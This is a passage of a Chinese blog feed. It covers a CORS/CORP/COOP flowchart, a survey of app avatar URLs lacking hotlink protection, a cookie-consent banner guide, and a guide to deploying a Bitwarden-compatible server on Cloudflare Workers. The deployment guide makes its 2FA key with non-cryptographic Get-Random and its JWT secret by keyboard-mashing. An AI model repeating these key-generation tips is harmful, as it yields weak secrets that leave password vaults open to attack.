    SimpleCheck --&amp;gt;|是| SimpleRequest[简单请求/直接发送实际请求]
    SimpleCheck --&amp;gt;|否| PreflightRequest[非简单请求/需要预检]
    
    PreflightRequest --&amp;gt; SendPreflight[发送OPTIONS预检请求/包含Origin等头部]
    
    SendPreflight --&amp;gt; ServerPreflight{服务器响应预检}
    
    ServerPreflight --&amp;gt;|无CORS头或不匹配| PreflightFail[预检失败/请求被阻止]:::failure
    PreflightFail --&amp;gt; End2([请求失败]):::failure
    
    ServerPreflight --&amp;gt;|有效CORS头| CheckPreflightHeaders{检查预检响应头/Allow-Origin/Methods/Headers}
    
    CheckPreflightHeaders --&amp;gt;|不匹配| PreflightFail
    CheckPreflightHeaders --&amp;gt;|匹配| PreflightPass[预检通过]:::success
    
    PreflightPass --&amp;gt; SendActualRequest[发送实际请求]
    SimpleRequest --&amp;gt; SendActualRequest
    
    SendActualRequest --&amp;gt; ServerResponse[服务器处理并返回响应]
    
    ServerResponse --&amp;gt; CheckCORS{检查CORS响应头}
    
    CheckCORS --&amp;gt; CheckOriginHeader{Access-Control-Allow-Origin/是否存在且匹配?}
    
    CheckOriginHeader --&amp;gt;|否| CORSFail[CORS验证失败/响应被阻止]:::failure
    CORSFail --&amp;gt; End3([请求失败]):::failure
    
    CheckOriginHeader --&amp;gt;|是| CheckCredentials{请求是否携带凭证?/cookies或HTTP认证}
    
    CheckCredentials --&amp;gt;|否| CORSPass[CORS验证通过]:::success
    
    CheckCredentials --&amp;gt;|是| CheckAllowCredentials{Allow-Credentials/是否为true?}
    
    CheckAllowCredentials --&amp;gt;|否| CredentialsFail[凭证验证失败/响应被阻止]:::failure
    CredentialsFail --&amp;gt; End4([请求失败]):::failure
    
    CheckAllowCredentials --&amp;gt;|是| CheckWildcard{Allow-Origin/是否为通配符*?}
    
    CheckWildcard --&amp;gt;|是| WildcardFail[通配符冲突/不能与凭证同时使用]:::failure
    WildcardFail --&amp;gt; End5([请求失败]):::failure
    
    CheckWildcard --&amp;gt;|否-具体源| CORSPass
    
    CORSPass --&amp;gt; CheckResourceType{资源类型判断}
    
    CheckResourceType --&amp;gt; CheckCORP{是否需要检查CORP?/跨域嵌入资源}
    
    CheckCORP --&amp;gt;|不需要| ResponseSuccess[响应可用]:::success
    
    CheckCORP --&amp;gt;|需要| CheckCORPHeader{Cross-Origin-Resource-Policy/响应头检查}
    
    CheckCORPHeader --&amp;gt;|未设置| CheckCOEP{嵌入页面是否设置/COEP: require-corp?}
    
    CheckCOEP --&amp;gt;|否| ResponseSuccess
    CheckCOEP --&amp;gt;|是| CORPFail[CORP策略阻止/资源被阻止]:::failure
    CORPFail --&amp;gt; End6([请求失败]):::failure
    
    CheckCORPHeader --&amp;gt;|same-origin| CheckCORPSameOrigin{是否同源?}
    CheckCORPSameOrigin --&amp;gt;|是| ResponseSuccess
    CheckCORPSameOrigin --&amp;gt;|否| CORPFail
    
    CheckCORPHeader --&amp;gt;|same-site| CheckCORPSameSite{是否同站?/相同eTLD+1}
    CheckCORPSameSite --&amp;gt;|是| ResponseSuccess
    CheckCORPSameSite --&amp;gt;|否| CORPFail
    
    CheckCORPHeader --&amp;gt;|cross-origin| CheckCrossOriginAttrs{检查资源标签属性/crossorigin属性}
    
    CheckCrossOriginAttrs --&amp;gt;|未设置| CORPFail
    CheckCrossOriginAttrs --&amp;gt;|已设置| ResponseSuccess
    
    ResponseSuccess --&amp;gt; CheckCOOP{检查COOP策略/Cross-Origin-Opener-Policy}
    
    CheckCOOP --&amp;gt; CheckCOOPValue{COOP值检查}
    
    CheckCOOPValue --&amp;gt;|unsafe-none默认| AllowOpener[允许opener访问]:::success
    
    CheckCOOPValue --&amp;gt;|same-origin| CheckCOOPSameOrigin{打开者与被打开页面/是否同源?}
    CheckCOOPSameOrigin --&amp;gt;|是| AllowOpener
    CheckCOOPSameOrigin --&amp;gt;|否| BlockOpener[隔离浏览上下文/opener=null]:::warning
    
    CheckCOOPValue --&amp;gt;|same-origin-allow-popups| CheckPopup{是否为弹窗?}
    CheckPopup --&amp;gt;|是| AllowOpener
    CheckPopup --&amp;gt;|否| BlockOpener
    
    AllowOpener --&amp;gt; FinalSuccess([请求完全成功/数据可用]):::success
    BlockOpener --&amp;gt; FinalPartial([请求成功但受限/部分功能隔离]):::warning
    
    classDef success fill:#90EE90,stroke:#006400,stroke-width:3px,color:#000
    classDef failure fill:#FFB6C6,stroke:#8B0000,stroke-width:3px,color:#000
    classDef warning fill:#FFE4B5,stroke:#FF8C00,stroke-width:2px,color:#000
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>让我们来看看图片防盗链各大厂做的怎么样！</title><link>https://2x.nz/posts/avatar/</link><guid isPermaLink="true">https://2x.nz/posts/avatar/</guid><description>今天突发奇想就像试试抓抓各大厂的头像接口，没想到有挺多根本没有防盗链</description><pubDate>Sun, 01 Feb 2026 08:57:26 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么？&lt;/h1&gt;
&lt;p&gt;只是随便搜集的一些头像接口，全部来自于我手机里目前安装的大部分APP服务。其中无 &lt;strong&gt;Web&lt;/strong&gt; 标识的头像，如果你能看得见，那么证明该服务商并没有做严格的SSL校验，导致逆向极其简单。无该标识的默认为移动APP。以下所有资源均来自我个人使用的账号&lt;/p&gt;
&lt;h1&gt;一些小发现&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;微软（Microsoft）的头像非常严格，使用Cookie校验，不能直接访问&lt;/li&gt;
&lt;li&gt;微信、支付宝，TapTap，钉钉不采用Web协议，故抓不到包&lt;/li&gt;
&lt;li&gt;小黑盒，网易云音乐，酷安，作业帮，豆包，肯德基，库街区都采用了严格的SSL校验，不能直接访问&lt;/li&gt;
&lt;li&gt;下述图片，除了TapTap校验Referer，其他都没有校验Referer，故可以直接访问。不过就算校验Referer也是徒劳&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;头像&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://q2.qlogo.cn/headimg_dl?dst_uin=2726730791&amp;amp;spec=0&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;QQ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://ocs-cn-north1.heytapcs.com/titans-usercenter-avatar-bucket-cn/vf/q7/7c/vfq77cwaxzzwzzaky7rkgiear4000000_1755101257605_s.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;OPPO（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://lh3.googleusercontent.com/a/ACg8ocLIJXR_N2wuwp93PorzuRum2GhcH7J2dO-OZUyDhMbB-AR_wbp6GM2cl7wWM6g2R8wddRd6SCJDWbRFKoenroJnx3eVdHE=s288-c-no&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;Google（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://cdn.cnbj1.fds.api.mi-img.com/user-avatar/eUlnezeXgqmLGraD2sQ90d-x-vk-cd104cbc_320.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;小米（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;http://storage.360buyimg.com/default.image/6a645f6465665f696d675f393836323031373632333134353936313533_big.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;京东（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://aos-cdn-image.amap.com/pp/avatar/bb8/e4/0e/277600933.webp?ver=1717735051&amp;amp;imgoss=1&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;高德地图（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;http://img.meituan.net/avatar/0c3440bf16903eeba85fe9965bcdc66115409.webp%40132w_132h_1e_1l.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;美团&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://img.alicdn.com/sns_logo/TB1e4rMt8Bh1e4jSZFhXXcC9VXa-240-240.webp_320x320q95.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;淘宝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;http://avatar3-3.pddpic.com/a/Q0FvYVZ2SDFGRkJQTFpTMUlTaHRIN1d4MDI3QUNhWWt3UT09djA0-1706852575?imageMogr2/thumbnail/100x&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;拼多多&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://avatars.githubusercontent.com/u/180811437?s=400&amp;amp;u=e785f90ecf2021cc754f9e705c171389f17a204e&amp;amp;v=4&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;GitHub（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://cdn5.telesco.pe/file/eEJesgiw8Vk2I9TP-d0xawWucIlC-204T6Ghy1LGLLmNUuajtFbh5eX1iL3fEao2jnjI92dpXAkyOSOiWIjhNbdWQ7PVKdFKCIUF-FqF8S0O27QcHFxrEMcTH-Ajpe-iX55sjjNvZC6IaHbEXjcVxBvF0fMjNb4BIYzW_KVVVsD0bG1H_rkf89rlPTePCUFySDdtFx7QYegbtoruOUcCuqt00qcozFIMynAi5NLGbtkTfRcUq3nJ2-7g9SGPpPI1U5MQPwjIR_c2p1dTiveR5q-9fx5rMk4IM_pOBRnjNAkJGm7fjNQQzanfgz5QK6kQ8VgPRHC2Ny-0gifoklRY7A.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;Telegram（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://img.qwps.cn/315260194?imageMogr2/thumbnail/180x180!&amp;amp;k=1715912797563685102&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;WPS（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;http://img.alicdn.com/bao/uploaded/i1/O1CN01Y71UwZ1Xr3hlLi79V_!!4611686018427385488-0-mtopupload.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;闲鱼&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://imga.3839.com/117535?t=1765556642&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;好游快爆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;http://p3.music.126.net/MT4fcDQM_7eo7NLq9-Ge2A==/109951169275563698.webp?param=30y30&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;网易云音乐（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://img.kookapp.cn/attachments/2026-01/31/vknjuH7RiN0dw0dw.webp?x-oss-process=style/icon&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;KOOK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://img3-tc.tapimg.com/avatars/etag/FnKeVW2he8X1JwJ33XoFRG02eGVm.webp/_tap_avatar_m.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;TapTap（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;http://wx.qlogo.cn/mmhead/OxUBpiaYgpHgv5ETJhoPFuS7H1d2vuYxvZwb5eia5G1jMAunabN4HLjREsrDUaolsxMX77UXpBzicQ/0&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;（微信）公众号助手&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://himg.bdimg.com/sys/portrait/item/public.1.32f8f9b.Naa8uLkNmy_npPPyAuyi-A.webp?1769944805341&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;百度网盘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;img src=&quot;https://avatars.akamai.steamstatic.com/e603bd97da45790ad8bfb15648040f599c1aa52d.webp&quot; width=&quot;50&quot; height=&quot;100&quot;&amp;gt;&lt;/td&gt;
&lt;td&gt;Steam（Web）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;这表明了什么？&lt;/h1&gt;
&lt;p&gt;对于图片，音乐，影片等静态资源，若直接使用 &lt;code&gt;img&lt;/code&gt; &lt;code&gt;audio&lt;/code&gt; &lt;code&gt;video&lt;/code&gt; 等标签，无需CORS即可将远端资源在任意网页上展示。这是W3C规范的一部分，详情请参考 &lt;a href=&quot;https://www.w3.org/TR/2014/REC-html5-20141028/embedded-content-0.html?utm_source=chatgpt.com&quot;&gt;HTML5 嵌入内容&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;当然，如果您是一个网站的维护者，您可能不想让陌生人直接将你的资源展示给别人看，或者怕被刷出账单，下面我将简单说明哪些措施是有效的，哪些是掩耳盗铃&lt;/p&gt;
&lt;p&gt;首先我们来分辨一下您手动做服务端的防盗链和浏览器CORS的区别：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;浏览器CORS是客户端行为，当某个行为被对端CORS策略拒绝，浏览器会阻止响应体。而服务端防盗链是在您的后端上编写一些小脚本，用以拒绝非法访问。前者会在用户浏览器弹出CORS错误，而后者会在用户浏览器显示错误状态码，如500，401，403，这取决于您的实现&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;是否可以尝试设置Referer白名单来拒绝非法访问？ &lt;strong&gt;没用&lt;/strong&gt; 因为Referer在浏览器中是可以伪造或者不发送的。详见 &lt;a href=&quot;https://www.w3.org/TR/referrer-policy/all/&quot;&gt;HTML 5 引用来源策略&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;您应该做的事情稍微有些复杂，如将API放到Cookie（登录，非游客权限）中，并且让后端处理Cookie的发放与吊销。就像微软那样&lt;/p&gt;
&lt;p&gt;又或者说，您只想要用户仅能通过浏览器单独查看图片，而不让 &lt;strong&gt;任何人（包括您）&lt;/strong&gt; 引用图片到网站中，您可以使用 &lt;strong&gt;Accept 请求头&lt;/strong&gt; 白名单，您可以尝试比较一下这两个 &lt;strong&gt;Accept 请求头&lt;/strong&gt; ，前者是直接访问图片浏览器自动发送的，而后者是引用时发送的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，如果您想做到图片必须是 &lt;strong&gt;游客访问&lt;/strong&gt; ，又不想让他人滥用。可以使用CORP（Cross-Origin-Resource-Policy）&lt;/p&gt;
&lt;p&gt;只需要在别人拉取图片时返回一个CORP响应头，如： &lt;strong&gt;Cross-Origin-Resource-Policy: same-origin&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;另外，CORP不仅能保护图片，它可以保护一切东西，下面是一个简单的示意图
浏览器拉取资源 -&amp;gt; 请求资源，检查响应头 -&amp;gt; CORP（给不给用，默认给用） -&amp;gt; CORS（给不给JS读，默认不给） -&amp;gt; 返回&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当CORP响应头返回的策略中和将要拉取资源的源不匹配，&lt;strong&gt;浏览器会阻止资源在页面加载，但并不会阻断原始请求&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;same-origin&lt;/td&gt;
&lt;td&gt;同源。仅允许 &lt;code&gt;example.com&lt;/code&gt; 拉取对应资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;same-site&lt;/td&gt;
&lt;td&gt;同站。仅允许 &lt;code&gt;*.example.com&lt;/code&gt; &lt;code&gt;example.com&lt;/code&gt; 拉取资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cross-origin&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;默认值&lt;/strong&gt;。允许所有源，任何人都可以拉取&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;设置后跨站引用会被浏览器阻止&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chromium（Edge/Chrome）&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;另外提一嘴，Chromium 最近推了一个更新，导致CORS/CORP错误默认不显示在控制台，需要勾选 &lt;strong&gt;显示控制台中的CORS错误&lt;/strong&gt; &lt;a href=&quot;https://developer.chrome.com/docs/devtools/console/reference?utm_source=chatgpt.com&amp;amp;hl=zh-cn#cors-errors&quot;&gt;控制台功能参考  |  Chrome DevTools  |  Chrome for Developers&lt;/a&gt;
&lt;img src=&quot;https://2x.nz/_astro/avatar-1.2kcwkZvN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Firefox
&lt;img src=&quot;https://2x.nz/_astro/avatar-2.CNBUs4wB.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>想要一个Cookie管理器？无需手搓！</title><link>https://2x.nz/posts/cookie-consent/</link><guid isPermaLink="true">https://2x.nz/posts/cookie-consent/</guid><description>Cookie Consent是一个开源简单实现的Cookie管理器，能让您的网站GDPR合规，仅需复制粘贴！</description><pubDate>Fri, 30 Jan 2026 12:27:05 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;你的网站是否有很多的跟踪器？如 &lt;strong&gt;Google Analytics、Google Adsense、Microsoft Clarity、百度统计&lt;/strong&gt; 等等？&lt;/p&gt;
&lt;p&gt;他们有些是追踪用户体验，获取站点访问数据，有些是提供广告，为您提供收入...&lt;/p&gt;
&lt;p&gt;但是，用户是有权限拒绝某些东西的，如拒绝将访问信息传送给Google，或让展示的广告与个性化无关等等&lt;/p&gt;
&lt;p&gt;那么我们要如何实现让用户控制自己的数据被传送向何方呢？&lt;/p&gt;
&lt;p&gt;你可能会想到，我们可以先编写一个入口脚本，管理这些JS，让用户同意某些再执行JS，又或是和Service Worker约定拦截某些请求&lt;/p&gt;
&lt;p&gt;这对于架构设计来说肯定是极好的，但是我们真的有必要手搓一个Cookie管理器吗，为何不去使用一个现成的解决方案呢？&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cookieconsent.com/&quot;&gt;Download Cookie Consent Banner: GDPR + ePrivacy Directive&lt;/a&gt; 它就是一个很好的选择，在该网站上提供你需要被管理的JS脚本片段，然后将该网站返回的JS脚本插入您的站点即可！无需编写额外的JS代码，无需管理复杂的Service Worker约定！这一切也都是通过该网站的客户端JavaScript实现的！&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先，我们进入 &lt;a href=&quot;https://www.cookieconsent.com/&quot;&gt;Download Cookie Consent Banner: GDPR + ePrivacy Directive&lt;/a&gt; （搭配浏览器翻译），往下滚动，找到步骤图&lt;/p&gt;
&lt;p&gt;第一步，首先选择基本逻辑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;电子隐私指令：当用户未进行Cookie管理时，这往往是用户第一次进入你的网站，允许所有受管理的JavaScript脚本执行&lt;/li&gt;
&lt;li&gt;GDPR + 电子隐私指令：字面意思，用户不允许就永远不加载&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-1.BbaOqEhK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步，设置网站名称，布局样式以及提供您的隐私政策页面&lt;/p&gt;
&lt;p&gt;首先填写网站名称，这会在用户管理Cookie时显示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-3.BeuX88wm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来选择布局，你可以在网站中看到实时更改与实际交互样式，这里不再赘述&lt;/p&gt;
&lt;p&gt;然后，选择色彩搭配，这里是硬编码的，但是更建议后续通过JS动态更改自动适配白天/黑夜模式&lt;/p&gt;
&lt;p&gt;默认语言用英语即可，该管理器提供了多达 &lt;strong&gt;36 种&lt;/strong&gt; 语言，但就是没有简体中文，不过在实际的管理器中有繁体中文。不过英语仍然是一个较好的选择，它易读也是使用率最高的语言，这没什么问题&lt;/p&gt;
&lt;p&gt;最终，对于隐私政策，这是个可选项，但是强烈建议配置。不过如果您暂时没有配置，也不用着急，先预填写一个将来的隐私政策URL（http/https开头），后续我会说明为什么这几乎是一个必填项&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-2.uEeUpGg5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步，导入您的JS&lt;/p&gt;
&lt;p&gt;Ok，终于到重头戏了，接下来，我们需要将我们网站上原来安装的各种追踪器（JS片段），归类然后一个个按部就班的添加进Cookie管理器&lt;/p&gt;
&lt;p&gt;这里的名称仅会在最终代码中展示出来，站点访客仅能管理这四种类型是开是关（这也是为什么上文说你几乎配置一个隐私政策页面，否则用户根本不知道这四种类型分别对应着什么），其中，第一个类型是必开的，所以你可以在其中放入一些不运行这些JS网站就不正常的脚本（如评论区）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-4.D9bW1T44.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第四步，复制网站提供的JS，将其粘贴到您网站的 &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 后。并移除重复的JS片段&lt;/p&gt;
&lt;p&gt;值得注意的一点是，当用户在第一屏选择完要启用的Cookie后，日后想更改这些首选项，需要怎么做呢？&lt;/p&gt;
&lt;p&gt;网站在提供的代码最后添加了一个特殊标签的按钮，也就是 &lt;code&gt;id=&quot;open_preferences_center&quot;&lt;/code&gt; ，你可以先将红框中的代码移除，否则可能会破坏布局，接下来找一个地方放置这个 &lt;strong&gt;编辑您的Cookie首选项&lt;/strong&gt; 按钮，让用户可以轻松的更改Cookie首选项，而不是需要用户伪造一个按钮来手动触发这个id&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-5._amXfVXQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;最终效果&lt;/h1&gt;
&lt;p&gt;当用户第一次访问时，会弹出是否允许Cookie的弹窗。用户可以选择全部允许（I agree），全部拒绝（I decline）或高级配置（Change my preferences）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-6.exPVNr8e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当用户选择高级配置（Change my preferences），会弹出一个窗口，用户首先可以看到一段文本，该文本告知了用户Cookie是什么，为什么需要，以及Cookie如何改善访问体验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-7.GTAcPM5V.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，用户可以单独对这四个区块设置是否允许，每一个区块也会直接但笼统的告诉用户这部分区块的Cookie能做什么。如前文所述，第一个区块是始终开启的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-8.CfFAi2Ht.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终的更多信息（More Information）区块放置了我们最开始填写的隐私政策链接，用户可以方便的跳转到隐私政策页面（前提是你写了），来直观了解您的网站的隐私政策&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-9.Bb0md0x4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cookie-consent-10.DSVclUTz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>你可曾想过，直接将BitWarden部署到Cloudflare Worker？</title><link>https://2x.nz/posts/warden-worker/</link><guid isPermaLink="true">https://2x.nz/posts/warden-worker/</guid><description>warden-worker就是这样一个项目，它将Rust编译为WASM，然后部署到Cloudflare Worker，无需VPS，无需家里云，只需点点鼠标就可免费用上自己的密码托管！</description><pubDate>Mon, 26 Jan 2026 09:00:52 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;项目参考开源的 &lt;a href=&quot;https://github.com/dani-garcia/vaultwarden&quot;&gt;dani-garcia/vaultwarden: Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs&lt;/a&gt; 将Rust源码编译为WASM以支持在Cloudflare Worker上运行。其中Worker负责REST API，D1负责存储加密后的数据&lt;/p&gt;
&lt;h1&gt;部署&lt;/h1&gt;
&lt;p&gt;首先确保你安装了Rust，若无可前往： &lt;a href=&quot;https://rust-lang.org/zh-CN/tools/install/&quot;&gt;安装 Rust - Rust 程序设计语言&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;克隆仓库： &lt;a href=&quot;https://github.com/afoim/warden-worker&quot;&gt;afoim/warden-worker: A Bitwarden-compatible server for Cloudflare Workers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;创建D1数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler d1 create warden-sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-25.DE5nTuMM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;替换 &lt;strong&gt;wrangler.jsonc&lt;/strong&gt; 的数据库ID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-26.CweW0IuF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;初始化数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler d1 execute warden-sql --remote --file=sql/schema_full.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-27.D8Q6mK8U.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编译Rust WASM&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cargo build --release
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署 Worker&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置白名单邮箱&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler secret put ALLOWED_EMAILS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-29.DzVR-EKe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置JWT（脸滚键盘即可）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler secret put JWT_SECRET
wrangler secret put JWT_REFRESH_SECRET
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-30.fMJ24Btz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置2FA加密密钥（32字节Base64编码文本）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler secret put TWO_FACTOR_ENC_KEY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Poweshell可以这样生成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Convert]::ToBase64String((1..32 | ForEach-Object {Get-Random -Minimum 0 -Maximum 256}))
&lt;/code&gt;&lt;/pre&gt;
